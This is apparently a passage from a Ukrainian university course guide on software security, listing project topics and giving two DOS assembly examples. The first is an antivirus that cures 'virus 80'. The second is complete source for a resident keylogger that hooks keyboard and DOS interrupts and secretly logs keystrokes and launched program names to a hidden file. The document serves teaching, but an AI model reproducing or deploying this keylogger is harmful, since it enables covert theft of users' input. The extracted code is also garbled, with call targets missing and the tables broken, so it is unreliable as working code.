
- •6.170103 «Управління інформаційною безпекою»
- •1. Основні положення та теоретичні відомості
- •1.1. Методи побудови ключових ознак на дисках.
- •1.2. Захист програм від дизасемблерів та налагоджувачів
- •1.2.1. Захист програм від статичних методів дослідження.
- •1.2.2. Захист програм від динамічних методів дослідження.
- •2. Вихідні дані та варіанти завдань.
- •3. Приклади виконання курсової роботи та фрагменти програм що демонструють окремі методи захисту.
- •4. Тематика курсової роботи
- •5. Приклади варіантів виконання курсової роботи
- •6. Список рекомендованої літератури
4. Тематика курсової роботи
Тематика альтернативних курсових робіт обирається студентами за наступними темами:
Антивірусні програми.
Програмні закладки.
Програмне забезпечення для криптографічного захисту програм.
Програми захисту від копіювання.
Програми захисту від дизасемблювання.
Програмні ідентифікаційні мітки.
Програмні моделі генераторів псевдовипадкових чисел.
Програми вибору засобів захисту інформації, що забезпечують заданий рівень безпеки.
Програми визначення ризику.
Програми визначення рівня безпеки.
За погодженням з викладачем є можливість запропонувати свою тему.
Далі студент додатково вивчає матеріали стосовно обраної теми і затверджує остаточний варіант курсової роботи у викладача за наступною формою.
-
Варіант курсової роботи №
Тема: _______________________________________________________________
назва теми
Спеціальна частина:________________________________________________________
методи, засоби, особливості, мова програмування
______________________________________________________________
______________________________________________________________
______________
особистий підпис
_____________
підпис викладача
Курсова робота може бути комплексною (за одною темою) і реалізовувати частину загального розробляємого програмного забезпечення.
5. Приклади варіантів виконання курсової роботи
Варіант №1
Тема: антивірусна програма.
Спеціальна частина: вилучення з пам'яті та файлів резидентного вірусу 80. Мова програмування – асемблер.
В прикладі 6 подається програма відповідно до варіанту №1.
Приклад 6.
Перед вами вихідний текст антивіруса на вірус 80 |
||||
|
. mode |
tiny |
|
|
|
. code |
|
|
|
|
|
|
|
|
|
org |
100h |
|
|
start: |
|
|
|
|
|
mov lea call call lea mov mov |
sp, 100h dx, mes checkMem dx, mymask cx, 27h ah, 4Eh |
;;;;;;; |
Переустановка стеку dx вказує на сповіщення Друк сповіщення mes Перевірка пам'яті dx вказує на маску для пошуку У cx атрибут шуканих файлів Пошук першого файлу |
|
int |
21h |
|
|
|
jc |
exit |
; |
Вихід з програми |
open: |
|
|
|
|
|
mov |
dx, 9Eh |
;; |
За адресою 9Eh зберігається ім'я знайденого файлу |
|
mov |
ax, 3D40h |
; |
Відкрити для читання |
|
int |
21h |
|
|
|
jc |
findNext |
; |
Помилка відкриття |
|
xchg |
ax, bx |
; |
bx = ax, в bx номер файла |
|
lea |
dx, buf |
; |
dx вказує на буфер |
|
mov |
cx, 100 |
; |
cx = 100 |
|
mov |
ah, 3Fh |
; |
3F прочитати cx байт |
|
int call jne |
21h checkVir close |
;; |
Перевірка сигнатури Перехід, якщо не знайдена |
|
mov |
dx, 9Eh |
; |
dx вказує на ім'я файла |
|
call |
; |
Виведення ім'я файла |
|
|
call |
cure |
;; |
Підпрограма лікування вірусу |
close: |
|
|
|
|
|
mov int |
ah, 3Eh 21h |
; |
Закриття файла |
findNext: |
|
|
|
|
|
mov int |
ah, 4Fh 21h |
; |
Пошук наступного файла |
|
jnc |
open |
; |
Перехід на перевірку |
exit: |
|
|
|
|
|
lea |
dx, mesBy |
; |
dx вказує на сповіщення mesBy |
|
call |
; |
Друк сповіщення |
|
|
int |
20h |
; |
Завершення програми |
; підпрограма пошуку сигнатури вірусу |
||||
checkVir: |
|
|
|
|
|
mov |
di, dx |
; |
di вказує на buf |
|
lea |
si, sigVir |
; |
si вказує на сигнатуру |
|
lodsw |
|
; |
В ax додаткове зміщення |
|
add |
di, ax |
; |
di = di + ax |
|
lodsb |
|
; |
У al довжина сигнатури |
|
mov |
cl, al |
; |
cl = al |
|
rep |
cmpsb |
; |
Порівняння послідовності байтів ds:[si] і es:[di] |
|
ret |
|
|
|
; підпрограма перевірки пам'яті |
||||
checkMem: |
|
|
|
|
|
push |
ax es |
; |
Збереження ax і es |
|
xor |
ax, ax |
; |
ax = 0 |
|
mov |
es, ax |
; |
es = 0 |
|
mov |
di, 2DBh |
; |
di = 2DBh |
|
mov |
ax, 0FC80h |
; |
ax = 0FC80h |
|
scasw |
|
; |
Порівняння ax з es:[di] |
|
jne |
memOk |
; |
пам'ять - чиста |
|
dec |
di |
; |
di = di-1 |
|
dec |
di |
; |
di = di-1 |
|
mov |
ax, 022EBh |
; |
jmp short $+24h |
|
stosw |
|
; |
Передача коду операції |
|
lea |
dx, mesMemOk |
; |
dx вказує на mesMemOk |
|
call |
; |
Друк рядка |
|
memOk: |
|
|
|
|
|
pop |
es ax |
; |
Відновлення es і ax |
|
ret |
|
|
|
; підпрограма видалення вірусу |
||||
cure: |
|
|
|
|
|
lea |
dx, mesInf |
; |
dx вказує на mesInf |
|
call |
; |
друк сповіщення |
|
|
xor |
ax, ax |
; |
ax = 0 |
|
int |
16h |
; |
Очікування натиснення клавіші |
|
cmp |
al, 0Dh |
; |
це Enter? |
|
je |
cureOk |
; |
так |
|
cmp |
al,' ' |
; |
це Space? |
|
je |
cureOk |
; |
так |
|
cmp |
al,'y' |
; |
це 'y' |
|
je |
cureOk |
; |
так |
|
call |
print0D0A |
; |
Пропуск рядка |
|
clc ret |
|
; |
Ознака чистого файла |
cureOk: |
|
|
|
|
|
mov |
ah, 3Eh |
; |
Закриття файла, (номер в bx) |
|
int |
21h |
|
|
|
mov |
dx, 9Eh |
; |
dx вказує на ім'я файла |
|
mov |
ax, 4301h |
; |
Встановлення нового атрибута в cx |
|
int |
21h |
|
|
|
jc |
outErr |
; |
Перехід при помилці |
|
mov |
ax, 3D42h |
;
|
Відкриття файла для читання/запису |
|
int |
21h |
|
|
|
jc |
outErr |
; |
Перехід при помилці |
|
xchg |
ax, bx |
; |
Номер файла в ax, bx = ax |
|
lodsw |
|
; |
Завантаження із сигнатури довжини вірусу |
|
xchg |
dx, ax |
; |
dx = ax |
|
xor |
cx, cx |
; |
cx = 0 |
|
mov |
ax, 4200h |
;; |
Переміщення файлового покажчика на довжину віруса |
|
int |
21h |
|
|
|
lea |
dx, buf |
; |
dx вказує на buf |
|
mov |
cx, 65000 |
; |
cx = 65000 |
|
mov |
ah, 3Fh |
; |
Зчитування cx байт за адресою ds:dx |
|
int |
21h |
|
|
|
push |
ax dx |
;; |
Запам'ятовування ax і dx, в ax - довжини файлу-жертви |
|
xor |
cx, cx |
; |
cx = 0 |
|
mov |
ax, 4200h |
; |
ax = 4200h |
|
cwd |
|
; |
dx = 0 |
|
int |
21h |
;; |
Переміщення файлового покажчика в початок файла |
|
pop |
dx cx |
; |
cx = ax |
|
mov |
ah, 40h |
; |
Запис cx байта за адресою ds:dx |
|
int |
21h |
|
|
|
jc |
outErr |
; |
Перехід при помилці |
|
xor |
cx, cx |
; |
cx = 0 |
|
mov |
ah, 40h |
; |
Обрізання файла до кінця |
|
int |
21h |
|
|
|
lea |
dx, mesOk |
; |
Сповіщення про лікування файла |
|
call |
; |
Друк |
|
|
stc |
|
; |
Ознака - файл був заражений |
|
ret |
|
|
|
outErr: |
|
|
|
|
|
lea |
dx, mesErr |
; |
Сповіщення про помилку |
|
call |
; |
Друк |
|
|
clc |
|
; |
Зупинка сканування |
|
ret |
|
|
|
; Переклад підпрограми курсором на рядок вниз |
||||
print0D0A: |
|
|
|
|
|
push |
ax |
|
|
|
mov |
ax, 0E0Dh |
; |
Функція 0Eh, символ 0Dh |
|
int |
10h |
; |
Повернення каретки |
|
mov |
ax, 0E0Ah |
; |
Функція 0Eh, символ 0Ah |
|
int |
10h |
; |
Переклад рядка |
|
pop |
ax |
|
|
|
ret |
|
|
|
; Підпрограма, що друкує рядок |
||||
print: |
|
|
|
|
|
push |
ax cx si |
|
|
|
mov |
si, dx |
|
|
nextChar: |
|
|
|
|
|
lodsb |
|
|
|
|
or |
al, al |
|
|
|
je |
endPrint |
|
|
|
mov |
ah, 0Eh |
|
|
|
int |
10h |
|
|
|
jmp |
nextChar |
|
|
endPrint: |
|
|
|
|
|
pop |
si cx ax |
|
|
|
ret |
|
|
|
mes |
db 13,' Looking for 80 virus. ..', 13,10,0 |
||
mesMemOk |
db 13,' Virus 80 in memory.', 7,' CURED !', 13,10,0 |
||
mesBy |
db 13,' Scanning complete.', 0 |
||
mesInf |
db ' - infected with 80 virus. Cure it (у/n)? ', 0 |
||
mesOk |
db ' REPAIRED !', 13,10,0 |
||
mesErr |
db ' Dos error.', 7,13,10,0 |
||
mymask |
db '*.*', 0 |
||
sigVir |
dw 10h |
||
|
db 10, 0A4h, 0BEh, 84h, 00h, 56h, 26h, 0A5h, 26h, 0A5h, 5Fh |
||
|
dw 80 |
||
buf: |
|
||
end |
start |
|
Варіант №2
Тема: програмна закладка.
Спеціальна частина: збереження кодів всіх натиснутих клавіш та імен всіх програм, що виконувались в файлі c:\secret. Мова програмування- асемблер.
В прикладі 7 подається програма відповідно до варіанту №2.
Приклад 7.
|
Перед вами програмна закладка, яка зберігає всі натискаємі клавіші та імена всіх програм, що запускаються в файлі ' с:\secret'. |
|||
|
. model tiny |
; ; |
Оголошення крихітної моделі пам'яті (для файлів типу. COM). |
|
|
. code |
; |
Оголошення сегмента коду |
|
|
org 100h |
;
|
Зміщення програмного лічильника для файлів типу. COM |
|
start: |
; |
Мітка початку коду програми |
||
|
jmp init |
; |
Перехід на установку резидентної частини програми |
|
point dw 0 |
; ; |
Змінна зберігає кількість натиснених клавіш і одночасно є покажчиком на останній символ + 1 |
||
bufSize equ 300 |
; |
Розмір буфера в байтах |
||
buf db bufsize dup (0) |
; |
Буфер для тимчасового зберігання крадених даних |
||
;; |
Новий обробник дев'ятого переривання. Воно викликається щоразу, коли натискається клавіша на клавіатурі |
|||
int9: |
; |
Мітка початку нового обробника дев'ятого переривання |
||
|
pushf |
; ; ; |
Збереження прапорів для коректного виконання команди iret, що знаходиться в кінці справжнього обробника 9-го переривання |
|
|
db 9Ah |
; |
Код команди call far seg:ofs |
|
off9 dw? |
; |
Зміщення для старого обробника int 9h |
||
seg9 dw? |
; |
Сегмент для старого обробника int 9h |
||
|
push ax bx mov ah, 1 |
;; |
Збереження регістрів, що використовуються в стеку ah = 1 |
|
|
int 16h |
;;; |
Функція 1 16-го переривання повертає zf=0, якщо буфер клавіатури пустий і zf=1: якщо буфер клавіатури не пустий, а в al міститься ASCII-код натисненої клавіші |
|
|
jz popRegs |
; |
Перехід, якщо була натиснена клавіша перемикач |
|
|
or al, al |
; |
Це розширений код? |
|
|
je popRegs |
; |
Якщо так, то - вихід |
|
|
mov bx, cs:point |
; |
У bx - лічильник клавіш, вміщених в буфер |
|
|
cmp bx, bufSize |
; |
Перевірка на вихід за діапазон |
|
|
jae popRegs |
; |
якщо bx >= bufSize, то - вихід |
|
|
mov cs:[bx+buf], al |
; |
Розміщення символа в буфері |
|
|
inc bx |
; |
Збільшення лічильника на 1 |
|
|
cmp al, 0Dh |
; |
Перевірка на клавішу [Enter] |
|
|
jne popArea |
;; |
Вихід, якщо була натиснена інша клавіша |
|
|
mov cs:[bx+buf], 0Ah |
;; |
Доповнення буфера символом 0Ah |
|
|
inc bx |
; |
Збільшення покажчика буфера |
|
popArea: |
; |
Вихід з нашого обробника 9-го переривання |
||
|
mov cs:point, bx |
; |
Запам'ятовування нового значення лічильника |
|
popRegs: |
;; |
Другий вихід з обробника 9-го переривання |
||
|
pop bx ax |
; |
Відновлення регістрів зі стека |
|
|
iret |
; |
Команда повернення з переривання |
|
path db ' з:\secret', 10 dup (0) |
;; |
Шлях до файла, що містить ASCII-коди натискуємих клавіш |
||
int21: |
; |
Мітка початку нового обробника 21-го переривання |
||
|
cmp ah, 4Bh |
; |
Виклик функції запуску файла? |
|
|
je storeName |
; |
Якщо так, то перехід на збереження імені |
|
exitInt21: |
; |
Вихід з нашого обробника 21-го переривання |
||
|
db 0EAh |
; |
Код команди jmp far seg:ofs |
|
off21 dw? |
; |
Зміщення старого обробника int 21 |
||
seg21 dw? |
; |
Сегмент старого обробника int 21 |
||
storeName: |
;; |
Збереження імені програми, що запускається в буфері Ім'я задається в ds:dx |
||
|
pushf |
; |
Збереження регістра флагів |
|
|
push ax si di es |
; |
Збереження регістрів, що використовуються |
|
|
push cs |
; |
es = cs |
|
|
pop es |
; |
|
|
|
mov si, dx |
; |
si = dx |
|
|
mov di, cs:point |
; |
У di міститься лічильник символів в буфері |
|
|
cmp di, offset buf |
; |
Перевірка на переповнення буфера |
|
|
jae noStoreN |
; |
Перехід, якщо буфер переповнений |
|
|
lea di, [di+buf] |
; ; |
di = di+buf, тепер di вказує на область пам'яті, куди треба вмістити ім'я програми, що запускається |
|
|
mov ax, 0A0Dh |
; |
ax = 0A0Dh |
|
|
cld |
; |
Очищення флагу df |
|
|
stosw |
; |
es:[di] = ax, di = di +2 |
|
moreC: |
; |
Мітка для організації циклів |
||
|
lodsb |
; |
al = ds:[si], si = si + 1 |
|
|
or al, al |
; |
Перевірка al на 0 |
|
|
je endStoreN |
; |
Якщо al = 0, то закінчити введення |
|
|
stosb |
; |
es:[di] = al, di = di + 1 |
|
|
jmp moreC |
; |
Перейти на мітку moreC |
|
endStoreN: |
;; |
Мітка завершення збереження імені запускаючого файлу |
||
|
mov ax, 0A0Dh |
; |
ax = 0A0Dh |
|
|
stosw |
; |
es:[di] = ax |
|
|
sub di, offset buf |
;; |
di = di - buf, т. е. тепер di містить число, вказуюче на кількість байт в буфері |
|
|
mov cs:point, di |
; |
Запам'ятовування di |
|
noStoreN: |
|
|
||
|
pop es di si ax |
; |
Відновлення регістрів, що використовуються |
|
|
popf |
; |
Відновлення регістра флагів |
|
|
jmp exitInt21 |
; |
Перехід на справжній обробник int 21 |
|
int28: |
; |
Мітка початку нового обробника 28-го переривання |
||
|
pushf |
; ; |
Збереження регістра флагів для правильного виконання команди iret |
|
|
db 9Ah |
; |
Код команди cal far seg:ofs |
|
off28 dw? |
; |
Зміщення старого обробника int 28 |
||
seg28 dw? |
; |
Сегмент старого обробника int 28 |
||
cmp cs:point, bufSize-100 |
; |
Перевірка point < bufSize-100 |
||
|
jb notSave |
; |
Якщо так, то не записувати вміст буфера |
|
|
push ax bx cx dx ds |
; ; |
Збереження регістрів, що використовуються |
|
|
push cs |
; |
ds = cs |
|
|
pop ds |
|
|
|
|
lea dx, path |
; |
ds:dx вказує на ім'я файла |
|
|
mov cx, 2 |
; |
атрибут hidden (прихований) |
|
|
mov ah, 5Bh |
;; |
Створення функцією 5Bh нового файла, якщо той не існував |
|
|
int 21h |
|
|
|
|
jnc newFile |
; |
Так, файл не існував |
|
|
mov ax, 3D01h |
; |
Функція 3D01h відкриває файл для запису |
|
|
int 21h |
|
|
|
|
jc popArea1 |
; |
Вихід у разі помилки |
|
newFile: |
|
|
||
|
xchg ax, bx |
; |
bx = ax, тепер в bx номер файла |
|
|
xor cx, cx |
; |
cx = 0 |
|
|
xor dx, dx |
; |
dx = 0 |
|
|
mov ax, 4202h |
;; |
Переміщення функцією 4202h файлового покажчика на кінець файла (для додання) |
|
|
int 21h |
|
|
|
|
lea dx, buf |
; |
ds:dx вказують на буфер |
|
|
mov cx, point |
; |
У cx кількість байт в буфері |
|
|
mov ah, 40h |
; |
Запис cx байт |
|
|
int 21h |
|
|
|
|
mov point, 0 |
; |
Обнулення лічильника |
|
|
mov ah, 3Eh |
; |
Закриття файла |
|
|
int 21h |
|
|
|
popArea1: |
|
|
||
|
pop ds dx cx bx ax |
; |
Відновлення регістрів, що використовуються |
|
notSave: |
|
|
||
|
iret |
; |
Вихід з переривання |
|
init: |
; |
Мітка ініціалізації програми |
||
|
mov ax, 3509h |
;; |
Повернення в es:bx - сегмент і зміщення 9-го вектора переривання |
|
|
int 21h |
|
|
|
|
mov off9, bx |
; |
Збереження зміщення int 9 |
|
|
mov seg9, es |
; |
Збереження сегмента int 9 |
|
|
lea dx, int9 |
;; |
ds:dx вказують на новий обробник 9-го вектора переривання |
|
|
mov ah, 25h |
; |
Встановлення 9-го вектора |
|
|
int 21h |
|
|
|
;Проведення аналогічної операції для 28-го і 21-го; векторів |
||||
|
mov ax, 3528h int 21h mov off28, bx mov seg28, es lea dx, int28 mov ah, 25h int 21h mov ax, 3521h int 21h mov off21, bx mov seg21, es lea dx, int21 mov ah, 25h int 21h |
|
|
|
|
push cs |
; |
es = cs |
|
|
pop es |
|
|
|
|
lea bx, init |
; |
bx вказує на кінець резидентної частини програми |
|
|
mov cl, 4 |
; |
cl = 4 |
|
|
shr bx, cl |
; |
bx = bx << 4 |
|
|
inc bx |
; |
bx = bx + 1 |
|
|
mov ah, 4Ah |
;; |
Функція 4Ah означає змінити розмір MCB блоку за адресою ES:0 на BX параграфів |
|
|
int 21h |
|
|
|
|
mov ax, ds |
; |
ax = ds |
|
|
dec ax |
; |
ax = ax - 1 |
|
|
mov ds, ax |
; |
ds = ax |
|
|
mov word ptr ds:1,70h |
; |
Змінимо власника блоку |
|
|
int 20h |
; |
Нестандартне завершення резидентно |
|
|
end start |
; |
Директива асемблеру завершити програму. |
Звіт за результатами виконання курсової роботи подається на аркушах формату А4 та в електронній версії.
Всі наведені програми повинні супроводжуватися достатньою для читання роботи кількістю коментаріїв.